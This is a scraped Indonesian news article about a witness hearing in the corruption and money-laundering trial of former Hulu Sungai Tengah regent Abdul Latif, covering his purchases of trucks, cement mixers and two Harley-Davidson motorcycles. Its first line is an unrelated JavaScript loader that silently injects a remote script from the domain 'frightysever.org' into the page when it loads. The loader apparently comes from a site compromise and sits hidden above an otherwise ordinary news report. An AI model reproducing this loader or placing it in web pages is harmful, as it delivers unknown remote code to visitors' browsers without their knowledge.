(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Sidang Korupsi Cuci Uang Mantan Bupati HST, Pembelian Dua Moge HD Diungkap


KANALKALIMANTAN.COM, BANJARMASIN – Sidang kasus gratifikasi dan tindak pidana pencucian uang (TPPU) dengan terdakwa Abdul Latif mantan Bupati Hulu Sungai Tengah (HST) kembali digelar di Pengadilan Tindak Pidana Korupsi (Tipikor), Rabu (13/6/2023) siang.

Kali ini, jaksa penuntut umum (JPU) KPK menghadirkan sejumlah saksi untuk menerangkan terkait perolehan aset yang dimiliki terdakwa Abdul Latif.

Salah satu saksi Hendra Saputra mengatakan, pada 2017 lalu pernah bertemu dengan terdakwa saat bernegosiasi untuk pembelian 7 unit mixer (alat memuat atau pengaduk semen untuk truk molen).

Saksi yang saat itu bekerja sebagai sales manager di perusahaan komponen dan attachment alat berat di Jakarta mengatakan, 7 unit mixer yang dibeli terdakwa tersebut akan dipasang pada truk Hino milik PT Subriwa Agung.

“Harga satunya Rp 200.200.000 dipakai untuk truk Hino, totalnya sekitar 1,4 miliar,” ungkap saksi.

Baca juga: Minta Pejabat Turun Lapangan, Pj Bupati: Jangan Komando dari Dalam Kamar

Sementara itu, diketahui 7 unit truk Hino senilai Rp 2,25 miliar yang dibeli terdakwa pada 2017 itu telah dilakukan penyitaan oleh penyidik KPK karena ditengarai uang pembelian berasal dari hasil korupsi.

Kemudian dalam persidangan juga diungkap barang bukti dua buah motor gede (Moge) Harley Davidson (HD) yang dibeli terdakwa pada tahun 2017.

Pertama moge Harley Davidson berwarna putih yang dibeli dari saksi Agung yang gagal diperiksa di persidangan karena saksi tidak dapat dihadirkan JPU ke ruang sidang maupun online dari gedung KPK.

Saat persidangan JPU juga menghadirkan saksi Joni Rahmat, seorang direktur perusahaan importir motor gede Harley Davidson. Joni dimintai keterangan selaku pihak yang menjual motor produksi Amerika Serikat tersebut, kepada saksi Agung pada tahun 2013 sebelum dijual kembali kepada terdakwa di tahun 2017.

Sidang lanjutan kasus gratifikasi dan tindak pidana pencucian uang (TPPU) terdakwa mantan Bupati HST Abdul Latif di Pengadilan Tipikor Banjarmasin, Rabu (13/6/2023) siang. Foto: Rizki

Kemudian masih pada tahun 2017, terdakwa membeli motor kedua Harley Davidson tipe FLSTF-FATBOY berwarna merah melalui perusahaan PT Anak Elang Motorindo di Jakarta.

Baca juga: Saidi Mansyur Ajak Semua Pihak Tingkatkan Upaya Pencegahan Karhutla

“Kita tawarkan Rp 773 juta, terdakwa minta diskon 70 juta jadi dealnya Rp 703 juta,” kata saksi Reza Andriano, karyawan pada perusahaan tersebut.

Ruang sidang sempat diwarnai ketegangan saat penasehat hukum terdakwa Oc Kaligis memprotes pertanyaan yang diajukan oleh JPU KPK kepada saksi.

Beberapa kali pengacara senior tersebut memotong jalannya sidang karena pertanyaan JPU kepada saksi dinilai tidak relevan dan diluar dari pengetahuan saksi.

Abdul latif sebelumnya didakwa telah melakukan tindak pidana gratifikasi dan tindak pidana pencucian uang (TPPU) senilai Rp 41 miliar saat dirinya menjabat Bupati HST 2016-2017.

JPU KPK mendakwa dengan pasal berlapis yaitu Pasal 12B Jo Pasal 18 Undang-undang Nomor 20 Tahun 2001 tentang perubahan atas Undang-undang Nomor 31 Tahun 1999 tentang Tipikor.

Kemudian Pasal 3 Undang-undang Nomor 8 Tahun 2010 tentang Pemberantasan Tindak Pidana Pencucian Uang (TPPU) Jo Pasal 65 Ayat (1) Kitab Undang-undang Hukum Pidana. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Rugikan Negara Rp1,6 Miliar, Kasus Pengemplang Pajak Dilimpahkan ke Kejari Tanbu

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki asal Kabupaten Tanah  Bumbu (Tanbu) Provinsi Kalimantan Selatan (Kalsel) berinisal… Read More

3 menit ago

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

11 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

12 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

14 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

14 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

17 jam ago

This website uses cookies.